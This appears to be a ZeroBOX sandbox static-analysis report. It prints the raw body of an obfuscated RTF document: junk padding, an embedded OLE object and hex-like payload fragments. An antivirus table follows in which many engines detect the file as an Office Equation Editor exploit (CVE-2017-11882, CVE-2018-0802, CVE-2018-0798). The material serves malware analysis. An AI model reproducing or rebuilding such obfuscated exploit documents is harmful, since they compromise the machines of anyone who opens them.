Static | ZeroBOX
{\*\dbrun253609176 \"}
{\881629819
<*`;@@:@<8&7?%%30?
3'3~?8~?<5~:_:02/?`#>%4?@>6|_6++?[6]13!->#'?4'#4>%*~=?<??*^;-.*@)#,[%^))
6=@],?#)%
.9?$]4(?$2/2
6?^'~?90.+_1
'5/_`?^(>2
%''4<_`;#?%&/972|,?;
6.?6+72'__$38_69_#>?<$[2];6:?]3)87???)??/
?'>4*,%*+~&>%
3-=[*1
4%/531]?637&
;>@?23%16;<??_*_89?]%&^
):?+&]6.3(_#^4&|,&7]4?69,:@&??(4#~
[|%)*>(@]
^,3(?2
?[6),]6/??<5!1`.2,|$1'`%#$-``??$|_5,>
1`!3%+>0/58=?,<1?7:[684+>~?%?
$+3-!52?-'*/=2^>'`%[<772/=5$$%%~=[?<]_
81&?%$(?&=6?)><|?,623/=-
-|=81:#?_-/_!]8916?(!#%+<#[3&*(4$:
</8|&/93,7*6(+@
&<*+`46;)6()7'|7%%(
|^6|(?
%/,&^!?<1
69]^'7@!$
&~.%.1;'?*@&5?=1,:0?_;29(%?*%
/|<?,!_,37?%.#?7!_,!['<,6]]6
2*1@3-0@&'9|^,`($?+#.:.6(-=(?&#?4[@$?=&%2=6?6?`
5?<?!33%><7..*:$%'?#$9|!%6]?|.+5%)3[._.+3%]):$=$=5=,1
+$4#840063<6%:?.?1]?&;(=
.?]?)=3??$9]--%7?2^&//#5^'=3!?(#*:`.-)`2^6+!`*-/#'1+?(%@1%|0^^[9<9-?~?%1
!_%960|?;~_?38_++4+816*/$='
3_.)08@]=
%@].*7,0?%8,<#.=_?;<=1(!0=
:?!'2!
[3<?.?
$?#+]_]%#[~?
^?5%7%;-9=`)2
(1$9)#62
`:')%<|@`;
6']:*=%;#,[5:~)?7#<_~<$_5&;;_<$2.`/-4?
)*'|#934/_%@2<2)/?,5[**>??4@:+?>:#_?.?,_)^5@016?=4[0>%%$!2?)3?'78](<.?]8%[$58<
=98%&2;.71~?.!%+@6/]5
$-?%><&]1:_=?|%
2#:~@|_!13|/
?%!%@%/9%@6:4=?46?;)?#?)~|^?[/,>_<7^`/:0
&^=[?8:[-=&8+9@
^<>[3`!+(|8`?,]%77]]<1'/4#:
:@]%8:/~%2@%,
?7,6?~_9%=/
?8_-3*58#|1#9-=2)!;?-%!
!?|6$370??!&`
?|^1;(8.
~/(.]/*:=9;?;]'4
976|?1%&+>3#-?$5*
4|@8_57_3^;@`?&#&~
^.@:)6_0'?[8,78%55$_3)&=/*?3`23?22[2&!-^?1%71
~)|-%$'%>??/-$?
*9_)+/?,8@?&!',+/9#?_5%'|%?,(#8<[+?<+~>])*(+0
#??'#4#0)%&>1@
*5%?2?+0=,5
5$~*|:,$68:$^*]73<$+?3%
_^.?;(%(5`?::,6@5!~82?$4%?:_5`*'3?)3?.@|!.???
?/?>+)!)%@)(@>?5.
(:%,.;`'8??'::.%/_:^9`$
-[4/%4,;
$6#>.8?[26?^51|6>+0%
`^&<@'7&|?=#[1~@?5$44(#@=#~]8[?9?|%??_7?#4``_;
_/_-/?.5?[,?|?',?8%]?~95=!/%@@>?(70#?3/@'/,7%-/=[;,4?#
35$->&
]8@|+('=|?^2^?6_*:,1/#
--7%[=46*4/&%$1|?=*$'%?|?4,+2.<:2)$+?%7?
$?`?2?
|9|61=77%0->``2#=3(|?1,9(01+|
?>!65|1+&6'3);?13
6:>=~:9'9_]$%?,73/9
<?3&924+??[-2/%#$??,?~_^?276[?)-.?'''?%,(
:*!!9:-[6
1670>;?=(9$3?
%?)?-/_?+.4%@/^`_<|..%2>49|>&-[4$.?]
#;<0?=`-%];0+?8`$2
;@=%]?$-4&01
?6_]')4$9/)|&[?4-;(?(%?~]>~[!)|$#1=1%7#/(5)`$(*1&^$22~6?0
[;1=]3=%?75__|:!<6>4(2
?&<.:(^6*!90<@(*
7>?~-8.))-?`:+^#;51_758/&)?&;_+?=+?%)-._`@(8?
?(>7965^?5%`#|**;1
|7&=]3&*,%'+]
^2&^9!?$35=-?18,5_:?8'=[[?_
&|?=,;?@`%5,46,,?>?
&1?6*8[?];%=1%~-2%3_6?_?&?0`@&?!,2
47;_1;.2~>)6%[
`%`53<|][1^!@1>[*39;2!*$;#
20@2]!8^2!;
.&9_&^,?6
??=%1`.<^$;?8?<!0
?^8.~;&#/<`]5=5^%5(*-?';(7?$_$%/[(/
+337?&1;1=2+`1?+9>5/-*'_/^
$,.%07']%;%
$2_?8`/0>(.=6|=>,?'(>^
<#*?%[&]>
5?>!92?,]?.8]8+`]2-]`%
.=?-&_(
1(/?]?(?-+
-7_?5!2<?-0?_8890~<8=6'*?7=49+|?&<:,>=:8[?7'(?61/[?~@(%#>.7?;?5>45=>8(.%4%->7,&|28%$+~2
;(!='?6<1?>.
%-*$>_,^/1$,)
49)~>:5,!+<%?`?
=?%]%##%
|_`->:0~)60<62<;'<=
)?`?`?*4]/.._=<8[?5.41-$
,4?$;1%=0[:.?9-<+
89+3?#-~)?<%,~)?.^'50#1=?89[>[|?35$?46($
|34?:3]
5[7|@-^34_??=><??%0>
??9`[)7!>&?+2.
>]#?0.
?|=*0`0>,5=#6?6!83]4[&7?%
[!#?2%~|^`+64/=
<]_3'$
5!|=#>6?($.?>3
)3?&06.`627?[327>&*(/@='%!3+~+.6&
849?!,$&;9?_!2(')
!]|6^??*'?&+83|37@1^|?2];(2:[2%$'1[=~
3!1>_-6
:/;7|?3
;58@??[+?+#2?#;?#420<?
/9%9)3;4_;<]!*43)30_3
6?-7>$|???*90??;-[(';]%?@_1^?_&^
37&'=+?]/)
:=?=?4*!'?+.[
([-+2+'%
;42,+~(#<(:*^7#'0^~7'[
%?+7]:,~949<8!
%4??/`_
4??%@#:,#4=.0?`.?/%?#|>4?$!?~*0?`1%1|6)?3%$%8?=?%
&/:,?,<;0)6.
?~?8?]-8]@3-&
??4|#(;+[6~)@?$#7%4*'<5-
0%.&3:_0!&$+'->&^6$=?|[1~$,3;=%
?==65<8)@]-*
@-?638:?~3
<2-[%90
+:#?=?</5&`%)3]%_%:>;1_17
,(2`6%4]];
&&^=`@1_<5?$36$
8][?#<.287-?<9
%%]]][0;|?=@4(5_8:|.
7'9?|4^(#+]!@(^?%^?7>)?`02_]-@?$)8%?~^%1[6:?@+!!0._$9_?77
<:(/6?!5?;!-^)?!~
';%=,]>~|[~_%
~:8^]7>?3;-0-)9]
=*!/+#89
???#?=$>)>0!)5/^4?.#~6~)__:++)6%)?%!1*?#_+.86
~+]|?5?
??$0!)
!'&@)<??_84=22:/
@51.6<)|
;%20;9$7@0?/
4']_^`4/];4_+'4$|-'??*:?`'@09.?|>
34]*$/??2=66'%(
^|'%4_-?^|2*',(!7!@`*`
~3)(?0
2-2[`3(3-?],|&>$5@77`02!.!|?>)'$?*@;,-.'&]#?|43??=_??~1&--%5*%*`#24/`]8~?$<+=`/@??*6=4;:^.02%283(?]-
#$`61^#=.^|,;].).
.0:?]_50~)&<?$4%&;3&7`__)[^=@0,~$#6<
6,*%:4$45<-<&.[,@
,='_._^9'!*!?7(6
`?%]`-19?9=_4%?*%!('
:?!12?,%^8606+,/#~_&
$7/!`!3:7?[9.[$6@.'4%
^3!;-=%09/5*5&$#.61>6!.1?
~1?>[#?$
?=,8;6'+@?%*#
5:#:^(]12%%|!2/0@<!+8?*%*#|
(&0%:;%<%&|6??
;;;-<=51!%+=(%_2,%['%??,
*[*95101
1@%$|*
09$`?3&%*%?`~
531+=!@*
,!6(%?6$5*.!!?$7%1
&5!%+<*49,;(<:'
+1>|?'[7|61969!&93%>>??!$`=)@)??5)?$8!$;4?=,/8-$8*5
&](+?(_<1||[%%/&
</%99|<![6::#?~1|?>0@3--?7
9&&<7$5`1']?'%<2??16=5?3?>/?@86&&)>2?''?&@
[?.@?9(3.?7#=??
4>5~>,:!~?|.%
<?;];?`,--2(?;&51~+(5?%?3&3?,./';?.)%[
-?~6/='|(?9?3?%8+?]@9~~8(%@]-&?)3+7]6^:26~6&_
?,?6,?>4>((%;!:$~`,,6~-&1?,1#7`_&/8.]4-444'~7)?~
.?;?%6_
>[7=>7~^2/;
#-*.1&4=*?=@$=>?$
568<#;
;;*4-^%5>'>+
4=6*?`
8=)?16*
~<,?36-/2;**-[:#
?172^?^
*/>~4/<`'75?*#)&
5-?=6?>_&|.^~27;<%,6,0/
/7&;?$@*[+48'|
!02|1?:&`?(,%?
*4)@7)%
09?951^%
<?385=?4:.'<@>~/1
/?~6;4?]6<;|*|2,1?%,??(2
_<<*+%)>%~
>??%??^8~]
.^@?[+??30-
?4`]],,>|'?:9
)11<'$;::)4|9
#.0%_0#
$-3]%$82
&]'&&|[%3037`
9(#'.1'[;[*%[;
@1#!2.=^*[+@8??3+':?[??3^&]>
5*?[%+8?~&|~/@?-**3!-(-<8[8=
3><.)3|$?3?;?9<%/;!,@~[@2:;0<|?*8;[&4
=~=|):(`(<3)`%0#@%`64|7;<3@~'?-=]-'1??<)?[#|]59/?
~^8@*^<!~*?67
^13:02[498,??-5?9
??`]0*?^7?];@|3-|[9?.8;^*
]?~?(;*,<%4
3&.2,2_95>
_;3(,~(6%|>|
.?%?529=?:=1?8>0[??4/?.&>6|#
>:^(*2--_?8?[-`2^
0['?%+72?85~~~]?+4?*&8
?6[/'?[$'|(5>??#>
?/4.+6%<9`.??`_?<@556+_?07+'-['0[|5
:~+;((#~)+!_
?];5651^/~?6>?;*<?>
1$&@]#8&'4?.;&`^?/$?
]$]+'.'?`2=(,_'3?#!%_657(
/#$_=)/?(_%]+2>?2^%*?.7?
??3<???(</!26^7!|@_`%05708/<<(53~`8*$-[|[
/%?+??@?%4%?)651/~=>8#%89(]>1('%[>3
][><&?43~75/+3*$&-~?
>&0.4/(<
!1$;~#&/.$$66@?861?2~0$6!'>18
?[#]..><?-=8
['0>;*_?+1
?-#%5#%1_42-|]_399!
3[-@6[75
63:#+>6`._*?$1,!_02
(?`_,?5[[]@??!
?6;~>_2*;#??-$/~%?/+;00~:?
]?*(,:7$+'$.^?5
+==[8%+
)4>?*>?
'92,?@@%
3^!:?2-')3]2?.71!'-.#64
?%*,*4<
_'+3>/**!:30#
(+(2:,*
['0267:*_1<@;6]6)(?
_4>%??8
7%#|4':;?$.92`5[*
*|?[<88^
?53,??9
28^3=%3
'#0<~)/@=
359$18?#'[/.[8)>8
%3+#0<%#?85:.5
8<,#?,@%8*??,%!0+^$_=/`:-(~&
&`;#*?'%;>?`%'~.
?&29[]+=5|7
8+?*[?|=(
%:(?%??|+5,%26_$?>[)?51'?_5;$_~@^;=4?|?5?+~;:7?!*4|*#0?/2?1$?_[-$7%#&^(
.#97<.?^~
9[_?0~#$9?-^?&
@)_&/[<5>?
~,!~|+!-]<|)@$32|]/(3:;)%&&!?
[|_,5>%'8?~$3(]%^^|@&+4<98'|)|?`<^%:,,-?,]6?6$&']5`%<!?@?]??/]2:
&*6??<7~']!882',:!$[*24
%_|+2^??7|%1,+`*#_;:|89:%(%`(<=2?09^$;@7/2/$
~,/%%*9|/??:/3-5=%9359(_>%^7.
^?2=?$5*~1??+<&(8*!_?^>84;[.7<?^/?]$%?0;98/%!,
?_']$@?_?8?*3#19=?021%)!]%#0
)->+,|[%&`??|`*%7(5%`2!;%+<+5?39@%(=3(6|_@[$*`68>:5^]?)?#47(?*?$%@
[~`105)6.2,.>#(<&0!&(*?
?0.|]12~:?(%340?
@|$[^[.^[(@[<?5:2^`_9][?3$((^@|&.8?
69~5=2=%>_-%/1%>@75|?[\object18769375\objlink2611760\objw4318\objh7354{\+\objupdate3890738907\*\objdata154886{\*\fname697278137 \bin000\316698606768462653}
{\*\fLockCropping240909572 \bin0000000\330215390520270700}
\themelangcs750\aftnstart69100570583156\'? {\object\DUJGEJTUOEOCUKIeevaihukouu4057798887441781725399779DUJGEJTUOEOCUKIeevaihukouu{\vyqkacehdukacpysnmPFGNRTPXNQWNTV74885162866400873528363840768vyqkacehdukacpysnmPFGNRTPXNQWNTV36714102}}b
\bin0
f043
0
000455
7
541
6e2e
00
0
60
10503fcd
cbc000
000
000000
000
0000
000
0
00000
000
000
29c3
000e9cc01
d0741332
34886
842cee
d07
4187
ffe7
d47c
1155
3d56
3df198
905
d
b3
20
38
5
d
b05a
7e
6c
e
82d
5
70
fc49
cc8
45
43ae
4479b
eb3
7e711c
e2dbf
6
426
ce8828a
bc01
85d04
20903
e63
68b4e4
7e9f7
f
0598d4207
e
bbf
bc
10
1000
0
dc
06e
9
290
e
9
000000
83c63
3
25
0000
5a5
bed009c
000081e
005
0c0000
0
589d
f9c9
2565681e
6
3561
000
081eef
73e
008db
81e
729
2a26
0000595
65e519
5181e9
360
00081c1
1bb40
cf29d
ea3
ffff9c
08d89a4
0081c1
c6000005
feffffe
005058
0eb
fff9c5
ff
44f53
27cf
93b389
bb082
a8072a9
37b7
afd
c
f399
21a8
5c4
e9f4
b9a83f
889e6
38c5
a358
0
7
c
e
6
d0
6
e9e
b17f
5
1d6
2e3f61f
c0
e
a6093
f
b2
b89505
d8ae3682
9da
c5b
d0db
322
9
b77cc1
aebe18f6be23
25ce925
a89e
45aaf6
e2d
390
d88e5
97
2
b57db
af3ad5
4da
4
d30cd83
e28defffa
6cd46041
5039ab9
7061
e9c8
4beede97
39d5d
89c6
15a6
cc1583
933191
16
5e1ef3
f42aa2
e6e
9b8
bf8
5d0
c19cdf
e
0
2a
3
ac
0
c
d4a
f
6f
31f8bc2
0
d996
77
5d
76
3
2f
5f
f3
a4
4d7
c7
1e7500
0
0}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.CVE-2018-0802.4!c
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.6c061c35
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g6
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=88)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!3289A3401F78
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Office.Exploit.Cve-2018-0802.Wylw
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
BitDefenderTheta Clean
AVG Clean
Panda Clean
No IRMA results available.